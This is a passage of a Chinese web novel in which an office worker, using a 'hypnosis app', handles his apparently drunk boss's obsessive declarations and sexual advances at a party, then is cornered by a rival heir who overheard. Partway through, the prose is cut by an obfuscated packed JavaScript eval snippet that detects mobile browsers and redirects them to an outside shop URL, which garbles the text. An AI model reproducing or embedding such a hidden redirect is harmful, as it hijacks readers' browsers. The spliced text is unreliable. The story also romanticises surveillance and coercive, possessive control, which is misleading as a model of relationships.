简清安也经常面对成为视线焦点的情况。毕竟从小到大他都是“别人家口中的孩子”,“模范的优等生”。 但他清楚普通人中的艳羡和讨论,和此刻酒会众人投来的各异视线是不一样的。 毕竟他这样的“模范生”,恒讯遍地都是。 简清安脑子的思维清晰,语句流畅,仿佛没有受到任何压力的影响,面对周晟铭提出的问题都能很好地进行应对。 周晟铭也从最开始的漫不经心,到后面视线偶尔会停留在他的身上。 在刚刚抬头的时候意识到对方是周晟铭时,简清安就从窝在沙发处理工作的社畜状态,下意识紧张到脊背挺直,直到整个“交谈”过程中也没有改变。 与周晟铭半陷入沙发的松弛随性状态形成鲜明对比。 但这幅场面,又诡异地形成了某种平衡。 到最后周晟铭坐直了些,十指依旧交扣,低着眸,若有所思说: “恒讯能有你这样的‘普通员工’,我们帝盛是该紧张一些了。” 简清安察觉到对方没有流露出不耐的状态,甚至眉眼中相对松缓了些,也是松了口气,下意识也为自己这次的“交谈”感到满意。 不得不说,昨天高压承受裴则遇两次指导建议,今天又“被迫主动”去他的办公室,他的抗压能力在短时间内实现了质的飞跃。 因为说实话,他很难遇到比裴则遇的气场还难承受的存在了。 即便是周晟铭,简清安觉得也仅是平分秋色。 并且在“交谈”过程中,他还注意着把裴则遇先前提到的他的问题都做了改正。 现在看来结果还不错。 但他无力回应对方的那句打趣话,只是准备客套礼貌地也找角度夸赞对方,然后再看情况旁敲侧击一下他的意向。 没想到周晟铭说完就干脆利落地起身,随意丢下一句: “我大概了解了,确实是个好项目,我回去再想想……” 他抽身的毫不留情,直接长腿一迈,从沙发后面绕过,几秒便拉远距离,甚至说这句话时目光都没有停在简清安身上一眼。 只余还没反应过来一脸懵的简清安,视野中甚至还被对方胸针镶的耀眼无比的钻石闪了一下眼。 简清安听着那句完全是敷衍的话,沉默着,沉默着,回忆着刚刚表面平静,实则快紧张成鹌鹑的自己,在被气笑的边缘,松开无意识攥紧的掌心。 察觉到冒的冷汗比自己刚刚握的玻璃杯外杯壁的水珠还多时,他的内心冷笑了一下。 该死的,傲慢的,目中无人的天龙人。 简清安早过了诅咒对方以后跪在自己面前痛哭流涕地当狗的年纪, 因为他成年后就已经清楚,对方的起点便是自己努力十几辈子都无法到达的存在。 他只能尝试开解自己,并且庆幸他拿到了最大的“胜利”—— APP没有弹出绑定对方的提示。 看来这次只是他虚惊一场。 目送周晟铭离开的背影,简清安绷紧的神经终于松缓,窝进沙发,喝了口气泡水,感受着淡淡的橙子味在口腔蔓延,也稍微平复了一下他的情绪。 周晟铭离开后又迅速受到众人的簇拥。 名利场的聚光灯又回归到正确的主角身上。 仿佛刚刚只是一个无关紧要的石子投下,细微波澜之后,海面又恢复了盛大壮阔与暗流涌动翻覆的状态。 当冰冷的液体滑过喉头,简清安纠结着要不要再回去处理手机的事务时,他眼尖地看见一个熟悉的身影从二楼下来。 深黑的偏正式的西装,人群中 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他一举一动都太过自然,表现得顺理成章,仿佛并不是屈从于名利场的规则,而是完全掌握,甚至凌驾于那之上,纯粹将规则当作一种随意取用的工具。 裴则遇意识到对方目标是他,但依旧处变不惊,按照自己的节奏有条不紊地踏下阶梯。 他们就在楼梯中间宽阔的平台相遇。 整个酒会的氛围也微妙地倾去他们这边。 简清安脑海里倒只有一个想法。 他刚刚猜想他们的气场会“平分秋色”,确实预测得不错。 其实他也有些惊讶,毕竟周晟铭是那种庞然大物集团的太子爷,他没想到他的上司在面对对方时,没有露哪怕分毫的怯。 并且,他们是除了纯粹的项目合作外,还在其他地方认识过吗? 简清安总感觉气氛有些不太妙。 像是两柄剑刃碰在了一起。 周晟铭迈步靠近,裴则遇身边的秘书和助理都很谨慎地盯着他,而周晟铭只是自然地伸出了手。 在他这个位置,似乎依稀可以见到周晟铭轻轻笑了一下。 随后裴则遇平静回握。 周晟铭踏近了一步,唇瓣似乎动了几下,随即将手松开。 简清安自然听不见,只能通过唇型大概判断,对方或许说了那么一句。 “好久不见,裴总。” -- 他们一起上了二楼。 简清安眨了眨眼,吸管发出吸空的声音,又一杯气泡水见底。 他能感觉到酒会的众人也像是缓了缓气氛。 简清安也不住琢磨,但确实也不太清楚那道不明的紧张氛围。 毕竟他和他们也不是一个世界的人。 玻璃杯的气泡水变成橙汁又变成了冰美式。 简清安能在手机上处理的事务都完成得差不多了,不禁抬眸看着酒会大厅,挺身伸了个懒腰,喉咙里发出模糊轻微的喟叹声。 他果然很能干。 酒会好像也要接近尾声了。 简清安眼尾眯出一点生理性泪水,远远地也觑见有个身影朝这边走来。 看起来好像是常秘书。 是要通知他准备回去了吗? 自己看来又顺利过了一关。 简清安暗自庆幸,唇角轻轻勾起。 而来人确实是常盛,他停在简清安面前,犹豫了会儿,还是先问了句: “酒会过得怎样。” 简清安点头: “很好。” 其实在周晟铭走后,有些人可能因为对方特意注意过他的缘故,犹豫着想上前来,但最后可能又觉得周晟铭只是一时兴起,后续也没有人打扰过他。 “那就好,” 常盛始终理性的神情似乎难得有些卡壳,但最后还是说, “裴总喝醉了,让你上去照顾他。” 这回轮到简清安卡壳了。 裴则遇?喝醉……? 这两个词好像很难搭上关系吧。 先不说裴则遇始终理智冷漠疏离的状态,单说酒量,简清安记得对方酒量算不上差,甚至可以说好得出奇。 上次酒会,几个合作商都喝倒了,裴则遇数杯酒下肚和喝水一样,面不改色。他都忍不住和同事偷偷讨论,是不是裴则遇的底层代码就没有“失态”这回事。 况且,裴总不是有一堆助理吗? 他也没照顾过裴总,怎么会突然让他上去。 某个不太好的预感出现在他的脑海。 简清安还想着“临死挣扎”一下,试探地问道: “我和你一起去吗?常秘书。” 没想到常盛的表情变得更微妙了,好几秒才说: “裴总点名要你, “呃,独自过去。” 10. 第 10 章 简清安站在休息室的门口,胸膛的心跳缓缓加速,犹豫不定。 常秘书说裴总在这间休息室休息,让他上来照顾对方。 其实简清安心里已经有了猜测了。 毕竟他和裴则遇现实中没什么特别的交集,对方放着一大堆助理不用,指名要让他上来。 这反常的举动只能导向一个推测。 但到门口时,简清安还是难免怀揣着一丝侥幸心理。 万一呢。 虽然简清安有些绝望,怎么需要对方被催眠的时候对方始终清醒,自己毫无准备时又给他“突发状况”。 说不定只是对方醉酒混沌。 简清安自我催眠着自己都不太相信的话语,终于推开了休息室的门。 映入眼帘的是宽敞而舒适的休息室,炎热的夏季,室内的冷气缓缓输送着,浅白的灯光明亮而稳定。 简清安也注意到了躺在米白色长沙发上的,姿态慵懒随意的男人。 对方似乎真的喝醉了,毫无防备般横躺在沙发上,一条极长的腿搭在沙发,另一条曲起在边缘垂落;深黑色的西装外套被解开几颗纽扣,暗色的马甲顶扣散开,内衬的领口被解得大敞,露出冷白如玉的锁骨,往上,依旧是那张冷俊的脸,只是双眸似乎半阖着,乌黑的眼睫低低垂着,在眼睑扫出不明显的阴影。 与眼眸同色的乌黑发丝凌乱,此刻微阖着眼,又少了几分平时的压迫感,甚至显得有些许微不可察的脆弱的平静。 深色的暗纹领带随着敞开的衣领一并扯松,修长突出的指骨还半扣在领带上,残着撕扯的力度,又混杂着微醺的迷乱。 掩上休息室的门,看见眼前这幅景象,简清安听见自己喉头吞咽唾沫的,轻微滚动的声音。 未亲眼看到时,他都还不曾相信裴则遇真的“喝醉”。 也没有想到,眼前这幅画面……可以用香艳来形容。 只是他滞在原地,一时间也没有过去。 裴则遇没有反应,也没有什么神情变化,简清安无法确定他的情况。 于是他踌躇着,在原地顿了几秒,正犹豫着要不要开口。 不曾想这时却听见裴则遇说一句: “上来的怎么那么晚?” 一如既往的平静语气,语句中明明没什么质问意味,却因为出声者一贯的气场,莫名给这句话添上了压迫感。 简清安听到上司这样质问性质的话语,心里不住一紧,却还是无法确定对方处于哪种状态。 见对方神情没变,甚至半垂的眼睫都不颤,简清安只能回答: “抱歉,裴总,我下次改进。” 从他初入职场的第一天,慕清姐就教他,不要反驳领导的任何话语,因为这样会牵扯出无穷无尽的问题和麻烦。 无论对面提的是什么,是否拟人,先答应下来再说。 简清安深谙此道。 没想到这次这句话似乎不灵了,听到答复的裴则遇终于缓缓睁开了双眸,手掌指骨压着沙发坐面,抵得皮面凹陷,一点点将坐姿调整过来。 在看见对方双眼时,简清安浑身一悚,头皮发麻,险些控制不住自己,努力忍住拔腿转身逃离的欲望。 像是可怜的猎物遇上了顶级的猎食者,身体的每一处神经都叫嚣着难以承受的恐惧。 简清安发现他不会弄混被催眠的裴则遇。 因为陷入催眠状态的裴则遇,要不视线不在他的身上, 只要眸光落了一寸在他的躯体,他就能感受到那铺天盖地倾来的,偏执般的占有欲。 与现实中的裴则遇截然不同。 而且现实中也不会有人存在这样的视线。 裴则遇似乎还醉着,简清安可以明显看清他的脸颊、耳垂、脖颈连着粉了一片,在对方冷玉似的肌肤上异常明显,此刻散发着一种既性感又危险的气息。 他的指骨弯曲,轻轻抵着额头,手肘支在膝盖,薄唇轻启说一句: “你不用改进, “要改进的是我,亲爱的。” 不知是酒精的作用,亦或是错觉,简清安注意到裴则遇下眼睑隐约着些很轻浅的红。 但比起惹人怜惜的脆弱,简清安更觉得底下像是匿藏着很偏执的危险。 此刻听到他的话,简清安也不住轻怔。 而裴则遇笑了笑,低眸一个字一个字道: “如果我没那么爱你就好了, “这样就不会想你想到发疯, “只要一秒钟见不到你都觉得难受…… “无论是在公司,还是在家,亦或是酒会……都想时时刻刻见到你,和你永远绑在一起,只要想到你不在就折磨得我快要窒息。 “要是我能改掉就好了。” 或许控制一点,他也不至于现在惹得对方厌烦。 但很可惜, 他改不掉。 简清安被对方炙烫而热烈的炮弹般的话震住了,这样直接明显的情感表达在现实中几乎不存在,也更将他打得手足无措。 并且就算他知道是怎么一回事,但也很清楚,至少现在的裴则遇是“真情实感”地说出这些话的。 喉咙发不出声。 这超脱了一贯的社交规则。 简清安像被捕猎者逼至陷阱走投无路的猎物,明明没有所谓的“关系”,却要被迫承担这份炙烈,偏偏又没有处理的经验—— 视线闪躲间,只能哑着声说: “裴总,你喝醉了……” 不曾想裴则遇轻笑: “是啊,我喝醉了。 “但你知道,我从来不会喝醉的。” 他的视线依旧直接。 这种卡在现实与虚幻中微妙的节点让简清安险些昏了头。 作为他的下属,他的确能推测出对方是不容易醉的存在。 而且他这句话的意思分明是, 他向来不会醉,是因为自己,他才会近乎失去理智地将自己灌醉。 裴则遇起身,指骨抬起,随意又利落地将挂在领口的暗纹领带扯落,深黑的布料撞在冷白凸出的手腕,只缠停了一瞬,就彻底坠落至米白色的沙发。 色彩相撞间,画面的刺激极其强烈。 简清安的呼吸在抖。 即便经历了两次,但他似乎还是很难适应裴则遇这个状态。 对方朝他一步步走来,步伐迈得不快,但异常稳定而执着,除了面庞脖颈绯红,也很难看出行动的偏斜。 简清安甚至被对方的抵来的压迫感逼得想退后。 最后被理智劝下来时,裴则遇也恰好停在他的身前,仅剩一步的距离。 简清安几乎要听见他因为醉酒而失序的呼吸声,一时间手足无措。 但裴则遇却兀自笑了,这次简清安听出了,笑声里有几分不浅的自嘲。 裴则遇说: “你只需要向我踏出一步。” 他就可以将剩下的距离全都消弭。 可对方却连靠近他都不愿。 简清安情绪终于控制不住地波动,慌忙移开视线之际,心跳也错乱不已。 裴则遇刚刚那番热烈的“示爱”,又配上此刻看似步步紧逼,实则卑微示弱的姿态,他的心里要说没一丝波澜是不可能的。 但同时简清安又很清楚,这一切只是那个催眠APP带来的虚假剧本。 等状态解除,对方恢复清醒,他依旧是那个高高在上的裴总。 要是他踏出那“第一步”,最后一败涂地的只会是自己。 更何况他是唯一清醒的存在,也是唯一不能容许“犯错”的存在。 长久的沉默,即便理智驱使着他做出回应,简清安也迟迟无法开口。 他攥了攥指节,脑海中不断提醒着自己。 他留下来是为了触发任务解除催眠状态,不是要被裴则遇几句弄得溃不成军的。 但喉咙就像是坏掉,目光也完全无法对上对方的视线。 可不曾想裴则遇忽然开口道: “只是这样都很难对我做出回应吗…… “有时候我真的很怀疑, “你是不爱我了,还是变心了,老婆?” 简清安听到这段话时,瞬间头脑空白,险些心脏一滞,紧张的脊背冒汗。 但很快他又反应过来。 不对,他紧张什么。 他单身未婚,至今没谈过一段恋爱,为什么要有这种陷入背德关系的心虚感。 但他又该死的清楚。 在那个所谓的剧本线里,自己的的确确是“出轨”了。 可怜的“出轨”的妻子始终不敢看向他的丈夫,先前一个字都憋不出来的咽喉终于颤巍巍地吐出字来: “怎么会,怎么胡思乱想起来了, “我都说你醉了,老公……” 之前难以启齿的称呼,现在情急之下也能顺利脱口了,简清安意识到自己能说出这个称呼,是因为“心虚出轨”后,莫名更有种绝望的负罪感了。 简清安紧张辩解时,为了增加话语信服力,不由得往前迈了半步。 裴则遇眸光凝了凝,顺势踏前半步,将他拢进怀里。 爱人的腰很细,他一只手掌就能拢了大半;温度很烫,脊背在轻轻发着颤,像什么可怜的小动物,只是不知发抖是因为生气还是难过他的怀疑。 不过即便轻颤着,也没有反抗他的拥抱。 裴则遇脖颈微低,鼻尖贪婪嗅着对方的气息,似乎能闻见很淡的洗护用品的香味。 白玉兰味的,和家里用的不一样。 他又有些焦躁地意识到他的妻子和他分居了的事实。 而妻子的回答,换作是之前,他肯定会顺从地道歉,通过一切手段弥补。 但他现在心底有隐约的焦躁,所以只是进一步问道: “那你怎么对我那么冷淡,老婆。” 简清安埋在裴则遇的胸膛,鼻尖被迫灌满属于对方的雄性荷尔蒙的气息,被根本没有关系的上司搂进怀里,痴迷地叫着“老婆”,一种难以言喻的羞耻感和心虚感交织冲击着。 先前心里想着对方再叫“老婆”就“小发雷霆”的念头被抛之脑后,“初为人妻”的无措青年慌乱地想着对策,最后只能闭了闭眸,像是抛弃了什么,低声道: “你昨晚弄得太过了。 “我刚刚还在生气,不愿意理你。” 在证实对面可能吃软不吃硬后,简清安觉得唯一可以打消疑虑的,或许只能用另一件更羞耻的事情掩住。 不过话出口后,他也感觉某种名为底线的东西也悄悄碎裂了。 裴则遇虽然依旧没松开手,但简清安察觉到禁锢着他腰的力度小了些,像是放缓了力道。随即便是埋在肩窝闷闷的几句: “昨晚,昨晚我已经很收敛了。 “挂断电话后,我都是对着照片弄的。” 简清安听着他的话语不住额头一跳,却敏锐地捕捉到了关键词—— 挂断电话后。 原来当时没彻底解除催眠状态,消息应该也是那个时候发的。 简清安又想到那个时候的他在和陆宇炀“鬼混”…… 只是,裴则遇怎么有的他的照片。 简清安内心疑惑了一瞬。 不会对着他的工作证件照—— 简清安强行打断了自己过于糟糕的想法,刚想顺势劝对方去沙发上休息,自己去找解酒药时,他突然感觉到自己皮带的金属扣被咔哒一声解开了。 裴则遇修长的指骨不知何时顺着腰间摸到胯部,随后异常熟练般解开了皮带,西装裤也随之一松,布料轻落。 “你做什么……?!” 简清安声音都是颤的。 裴则遇无辜道: “昨晚你膝盖伤到了,我看看现在情况怎样,你有没有听话上药,” 末了,他还补上一句, “下次没让你跪,不要随便跪, “外面的地方脏,如果真的很想玩的话,回家我陪你玩。” 简清安忍得太阳穴都突突了。 首先,他只是怕弄脏沙发,并没有这方面的癖好。 其次,膝盖磨了几下而已,一点红痕睡几个小时就没了。 他不至于脆弱到这种地步。 并且更关键的是—— “你就不能从裤腿挽起吗?” “会刮蹭到伤口的。”裴则遇煞有介事地说。 话毕,西装裤彻底脱落,为了方便观察,裴则遇也俯身单膝蹲下。 只是在屈膝的过程,唇瓣若有似无地擦到了某个地方。 简清安垂落的手臂颤动,差点控制不住自己险些挥过去的手。 毕竟对方要“不小心”擦到那里还挺难的。 而裴则遇喉结滚动,眸光深邃,盯了几秒,喑哑着问一句: “一会儿要不要我帮你……” “不需要,”简清安冷漠至极, “还希望被我不理一次?” 裴则遇不说话了,眼眸似乎翻涌了些幽深的思绪,垂睫,专心致志地看着膝盖上的痕迹。 白皙的薄皮都没蹭破,但有点浅浅的淤青,看起来已经被上过药了。 裴则遇看了很久,久到简清安都有些瑟缩,不清楚是不是休息室冷气过低时,听见对方开口说一句: “我们在一起后,你受伤从来都是我帮你上药的。” 这句话可能只是想表达对方不在自己身边,自己无法照顾到他的难受。 但简清安却突然想起,伤口是谁帮他上药的,不免有些寒颤。 他努力让自己打趣道: “你怎么不说在一起后,你不会让我受伤?” 裴则遇慢条斯理地给他拉起西装裤,不疾不徐地系好皮带,扣上金属扣道: “你总喜欢玩些刺激的。 “在我的掌控范围内,你可以玩伤一些。” 因为我永远会照顾好你。 就算受伤也无所谓,他可以做得很好。 倒不如说,最好真受点一辈子无法离开他的伤。 简清安似乎听出他话里的潜台词,呼吸微滞,神经不由得发麻。 最后半缴械投降地转移话题: “好了,检查够了吧。 “去沙发休息,我去给你找解酒药。” 没想到这句话一出来,裴则遇又扑通一下倒在他的身上,依恋地埋进肩窝。 对方应该是始终控制着力道。不然近一米九的身高落在他的身上,简清安觉得自己撑不了半秒就会被彻底压倒。 “怎么了。”简清安拧着眉头。 “你搀我。”裴则遇低沉的嗓音咬着耳朵般摩挲道。 似乎心机地想让气流灌入对方耳内,却被认真思索的冰块似的简清安打回。 简清安回忆起对方刚刚步伐不带一点颤的模样,不由得有些无奈。 这算什么。 撒娇吗? 但简清安还是认命地去扶他,而裴则遇也不是真的醉到走不动路,所以顺从地配合了几步。 刚沾到沙发,裴则遇还没彻底躺好,就陡然扯住简清安的手腕。 简清安一下被扯落,险些整个人扑到他的身上,最后还是条件反射撑住沙发,一条腿曲着搭在沙发靠背边,另一条腿支着地面。 最后姿态像半跪着骑在裴则遇身上。 简清安恼了,额间青筋不断跳动。 裴则遇是疯了吗?被催眠后也不能完全失去理智吧——那么莽撞行事,到时真受伤了怎么办?! 裴则遇似乎也察觉到简清安的愤怒,可怜地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427102|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂睫,不敢觑他,半晌才开口道: “我知道,你一直在生我的气。 “昨天在公司没消气,昨晚也只是勉强妥协视频,到今天酒会,你依旧不想原谅我。” 裴则遇当然知道,他看似清冷漂亮的老婆,即便再怎么恼怒,心底对他还是存有一丝柔软,他昨天才会故作强硬……试图通过从前熟悉的做.爱方式,修补这次的裂隙。 但今天他明白了, 即便再装可怜也没用,有些事情不坦诚,感情的裂隙便会一直存在。 简清安看着他痛楚挣扎犹豫,最后像是想明白什么下定决心后,内心都有些绝望了。 不要像是陷入了什么感情上的浓重痴缠纠葛一样啊。 问过他拿这份剧本了吗? 结果裴则遇下一句让他差点呛出声来。 “你知道我有性.瘾的,老婆。” 如果刚刚的简清安是恼怒,现在话都还没出口,就只剩无语了。 他看着裴则遇那张俊美的可以直接出道的脸,始终想不通他是怎么能给自己加这种设定的。 “所以你的意思是,我和你分居让你很难受了,是我的罪过了?”简清安平静地说。 平时领工资他还能听听上司的PUA装装样子,不给他发工资他不会被情感绑架分毫。 裴则遇轻颤着眼睫: “我没有奢求你的原谅。 “我惹你生气了,我自己就算被弄坏也是罪有应得的。” 他将简清安的左手一点点扣住,最后放在自己因醉酒微微发粉的冷白脆弱脖颈上,覆了大半,让对方的掌心感受着自己连着心脏的脉搏,喉结的起伏,以及说话时气流淌过咽喉微微的震动。 像是主动向魔鬼献祭的祭品羔羊,低声诱哄道: “我只是求你可怜我, “可怜我这个喜欢你喜欢到失去理智,做了惹你讨厌的事情,却还奢求你怜悯的存在。 “定位器,监控器,我全部都拆了,我会给你足够的尊重和私人空间,想继续分居也可以。 “我只是希望以后在公司和你能多点互动,至少,至少接下来一周,我能经常见到你。 “你不愿意公开我们的感情,我们就一直地下恋…… “我也希望不见面的时候,你也能常接我电话——只是普通电话。 “这算我给你额外增加工作量,时长按加班费给,可以吗?” 裴则遇很清楚,自己在面不改色的撒谎。 甚至伪装成这幅让人可怜的模样。 因为他就是这样卑劣的存在。 当裂隙出现时,他不会彻底袒露自己的阴暗偏执,以及时常濒临失控的掌控欲和占有欲。 企图让对方接受他的一切。 因为他知道,他不堪的真实会将对方彻底吓离。 他只会一次次试探对面的底线,当对方露出难以承受的回避姿态时,就会马上退回去承认错误, 最后在无数次尝试中,让对方彻底沦陷。 这次是他莽撞了, 以后会更小心的。 毕竟他的爱人不可能离开他,他还有很长时间。 而简清安听着这一番话,心脏也有一刻失防。 裴则遇不断说话间,脆弱的喉结就颤巍巍地轻动,就在自己的掌心下。 对方没有任何抗拒反抗的姿态。 场面戏剧张力到可怕。 简清安从未想过,有天他会将自己的上司压在身下,手掌就覆在他的脖颈,听着对方近乎卑微地乞求他的怜悯。 太荒谬了,现实中哪有这样的话术。 ——他想用这个念头让自己稍微恢复理智。 但是剧本中的裴则遇似乎真的了解他,诚恳认错时,说的也都是他在意的点。 简清安恍惚间觉得,如果真和裴则遇谈恋爱,对方可能也会说出类似的话语。 最后简清安艰难地移了目光,看向了出现许久的任务。 只有一个任务。 【任务一:安抚醉酒的裴则遇。】 简清安没提出异议,因为这的确是目前最好的办法。 至于后续如何,那都是以后的事了。 毕竟先前那段“录像”他虽然真录了,但到现在也没有发给陆宇炀。 不过,简清安始终记得一件很重要的事。 这次换他有些尴尬了,收回了指节,滞在半空的指尖有些瑟缩: “嗯……你最好真的知错了。” 裴则遇眼疾手快地捉住了他的手,用略微发烫的脸颊贴上了他的掌心说: “当然,亲爱的,我不会让你继续生气。” “对,对了,” 简清安的视线乱瞥,显然也是不想那么生硬,但催眠的时间不等人,他也只能尽量开口道, “上次我们做,做的时候,不小心弄脏的那套西装,我没注意给洗坏了……” 裴则遇无辜地眨起了眼,见到简清安从强撑的理直气壮到有些心虚后,才不住轻笑道: “是吗?如果不是故意发泄弄坏的话—— “当然,想故意发泄的话,我们家里还有几个换衣间的西装可以提供。 “不过不用自己亲自洗,洗多了会伤手。不高兴的话,可以命令我去完成它们应有的使命。” 简清安是彻底无地自容了,也一时间没力气反驳自己怎么可能是那种无理取闹的人。 他只无力地闭上眼: “那到时我把西装放你办公室。” 虽然不清楚自己的爱人为什么不直接扔掉,但裴则遇还是顺从点头。 简清安让他好好躺着休息,自己去找解酒药。 顺便给他整理了一下扯乱的衣服,盖上了一旁沙发搭着的软毯。 做完一切的简清安一身轻松。他瞥见一旁任务完成的提示,虽然不清楚是否真的可行,但不用赔进几个月工资的可能还是让他松一口气。 等指骨贴上休息室的门把手,简清安暗暗发誓,虽然他现在还没找到解除APP的方式,但他一定会让一切都可控,把风险降到最低。 只是下一秒门打开后,他的目光一怔,看见了门外的一道身影。 眼前的轮廓逐渐清晰,当彻底映入视野时,简清安也意识到对方是谁,血液在瞬间冷透。 那道略显陌生的,他最恐惧见到的,鬼一样的身影出现在了堂皇而宽阔的走廊。 浅棕的打理得矜贵傲慢的发丝,三七分倒梳刘海撩起光洁流畅的额头,建模般鬼斧神工的面庞,和漫不经心又让人无法忽视的贵气姿态。 只是身处在那里,就仿佛和别人不在同一个世界,无形的聚光灯痴迷的汇聚,但他自始至终没有任何在意的神色。 琉璃色的眼瞳似乎注意到了他推开门的举动,视线轻移,之后落在了他的身上。 明明没有什么表情,却不知道是对方近一米八几的身高,还是无形的气场,都让人感到莫名的压力。 而对方也没有任何偷听被抓包的心虚姿态,只是再平常不过地看着他,就和刚刚自己在休息区时,对方忽然出现在他的身旁一般。 帝盛集团的太子爷,周晟铭。 简清安思维停摆了。 脊背不断发颤,冷汗浸透了掌心。 对方怎么在门外? 他有听到吗?自己和裴则遇的对话? 如果听到了怎么办? 自己要问吗? 万一没听到呢?不就会不打自招了吗? 要怎么办才好—— 没想到周晟铭对他骤然一笑,自如散漫又运筹帷幄的姿态,就像刚刚在酒会中面对众人簇拥时,矜贵不羁地同所有人交流一般。 他轻声说: “从‘你昨晚弄得太过了’开始听的。” 11. 第 11 章 完蛋了。 这时简清安的脑子里只剩下了这一个想法。 巨大的爆炸在脑海轰然冲击,简清安像是眼睁睁看着一艘巨大游轮撞上冰山,而他除了看着游轮沉入海底,什么都做不了。 成年人的理智还将他的脚步拴在原地,但他已经大脑彻底空白几秒,直至思维的指针再度艰难地恢复摆动。 那些话,他和催眠状态下的裴则遇的对话,都被听到了。 简清安无意识攥紧了指节,脑海中闪过各种糟糕的预想。 只是……如果暂且先不提对话的羞耻隐秘程度。 作为一个正常人,并且是具有一定身份地位的存在,在听到这种话时,都会自觉选择避让吧。 为什么对方会直接来质问他—— “你是,裴则遇的男朋友?” 周晟铭始终与他离有一段距离,上半身微微前倾,嘴角挂着抹若有似无的弧度,单手随意插在西装裤袋。 这句话打断了脑中正在上演各种商战阴谋的简清安,他只抿了抿唇,纠结着,最后眼睫垂落道: “特殊关系。” 说没关系是无法说服对面的,毕竟那些话语很难抵赖。 只是,严格意义上来说,他和裴则遇确实没有关系。 扯什么APP只会被当成精神失常,简清安犹豫之下,只能选择先编一个不容易被戳破的谎言。 就算对面真的拿这点质问裴则遇,裴则遇否认他们关系的话也合情合理。 毕竟是“特殊”。 只是这样,他的工作也会岌岌可危了。 但简清安抿着唇,也总不信他都这样说了,对方还会去找裴则遇较真。 而周晟铭的视线细细地停在简清安的身上,随后轻移,凝视着他的面庞一秒,两秒…… 他似乎明白了什么。 扯起嘴角笑时,带有几分自己都没察觉到的愉悦。 倒不如说,如果那位不是裴则遇的话,他早该想到这点的。 他和裴则遇不算很熟,但也很了解那家伙的性格。 天生的情感淡漠者,冷淡理智得不像人。 从未听过他出什么绯闻,动感情更是天方夜谭的事情。 淡漠冰冷的机器,让人无法想象他除面无表情外的神态。 他是裴氏集团的继承人,嗯,国内鼎鼎有名的那个裴氏集团,旗下覆盖无数产业,恒讯也是其中之一。 但对方作为接班人,却没有和他一样“享受”盛大的名声和媒体的疯狂追捧报道。 甚至只有商圈具有一定权势和地位的人物才知晓裴则遇的身份。 因为裴氏虽然也奉行精英式教育,但他们更信奉丛林法则,适者生存,所以始终没有让裴则遇名声外露,而是早早把“籍籍无名”的他丢去了底层历练。 让他顶着所有腥风血雨一步步爬上来。 ——在自己在国外留学,被一堆专家和集团高层追着学习处理各种公司事务,拥有着各方面最顶级最优渥的条件,同时活在媒体疯狂的镁光灯下时。 帝盛和裴氏,一个主要产业在国外,一个在国内,但同样的国内外都有涉猎。 相似的体量,加上他和裴则遇是同辈。在自己还在学习的时候,裴则遇已经自己厮杀出成果了,所以他总免不得要被提来与对方进行一番比较。 他长那么大,也终于从他父母耳中听到“别人家的孩子”了。 ——包括这次的项目,表面上是他空降,但他很清楚,他的家族无非是借此机会让他与裴则遇第一次交锋。 然后比较孰优孰劣。 这次棋盘上的每一次博弈,都能成为日后他们各自实力的评判依据。 他最开始还是很有信心的。 只不过裴则遇是越接触越能感知到对方恐怖之处的那种存在。 截止到他们刚才的那场会谈,周晟铭终于承认, 这次是他落于下风了。 裴则遇比他成熟,也是少数他目前还没能找到弱点的人物。 既然敢上场,周晟铭也没有输不起的想法,毕竟日后多的是机会。 他听说裴则遇喝醉了,在他的主场,作为主人,他自然很有风度地想要过去关怀一番。 然后就听到,让他思绪有瞬间卡壳的对话。 他没听说裴则遇已婚。 也不知道裴则遇还有这种风格。 更没想象到,裴则遇会爱一个人,爱得如此……卑微。 周晟铭看着此刻被他视线盯得有些压力的青年。 不知是被戳破的难堪,还是难以言说的羞耻,青年轻垂着一对眼睫,很长,很细密的眼睫,末尾只有一点点弧度,落下时有些可怜地洒下一片阴影。 细看时肌肤很白,不是他在国外接触的西方人毫无生机的死白,而是东方瓷器一般,微微光泽的玉般的白皙。 依稀可见肌肤底下纤毫脆弱的青色血管。 青年气质疏冷,隐约着无害似的温润,但相貌是很稠艳的,越看越有种被引诱的感觉。 眼睫半遮的瞳孔是琥珀色的,颜色很浅,很漂亮。 ——更显得那副镜片碍事了许多。 周晟铭莫名有种冲动,想扔掉那副眼镜,然后让那双漂亮的眼睛狠狠地流泪。 但他表面仍旧笑着,不紧不慢地收回了视线,双手插进披着的大衣外套的口袋。 只有诱人的漂亮皮囊,毫无资历,入职不到两年,还是项目的底层员工,却能跟在裴则遇的身边,出现在这场酒会。 而同一时间在裴则遇身边的却是跟了他许久的秘书和助理们。 明眼人都能知道,对方是裴则遇的情人。 还是见不得光的那种。 换做是谁他都能立刻猜出,偏偏是裴则遇,他就没有往这方面想。 真有意思。 “特殊关系吗? “你们在一起多久了?” 周晟铭踏进一步,语调随意悠闲,姿态却是难以言喻的危险压迫。 让裴则遇昏头成这样。 简清安被逼得硬生生退后一步,警惕地看着他说: “抱歉,周总, “非正式工作会谈的场合,我没有义务回答你无关工作的问题。” 他知道这是公司项目对面的负责人,所以这是他能给的最大限度的尊重。 如果对方真的觉得自己是什么商战的突破口,那抱歉,他拼了命也会保住自己的工作。 周晟铭被这个反应弄得轻怔,也回忆起刚刚他打消对对方疑虑的缘故。 就是对方表现得很好。 思维清晰,观点精准,并且有不少在行多年的员工都没有的思辨能力。 如果是他,也有可能把这种人才当潜力股培养。 裴则遇第一次在选择方面表现得比他不理智。 他把他当私养的情人。 “你好像很警惕我。”周晟铭笑道。 “我是会警惕一名在我进行私事时,在门外偷听的人。” 简清安没有退一步。 但细看会发现,他垂落的手臂在小幅度的打颤,指骨紧张得攥得发白。 但即便怕成这样,他的神情也没有太大变动。 周晟铭注意到了。 这也是他最开始没有联想到的缘故。 因为青年看起来,也不像是能被人随意包养玩弄的存在。 只是,他倒是看走眼了。 周晟铭继续逼近,而简清安的脊背也终于退后地抵在墙面。 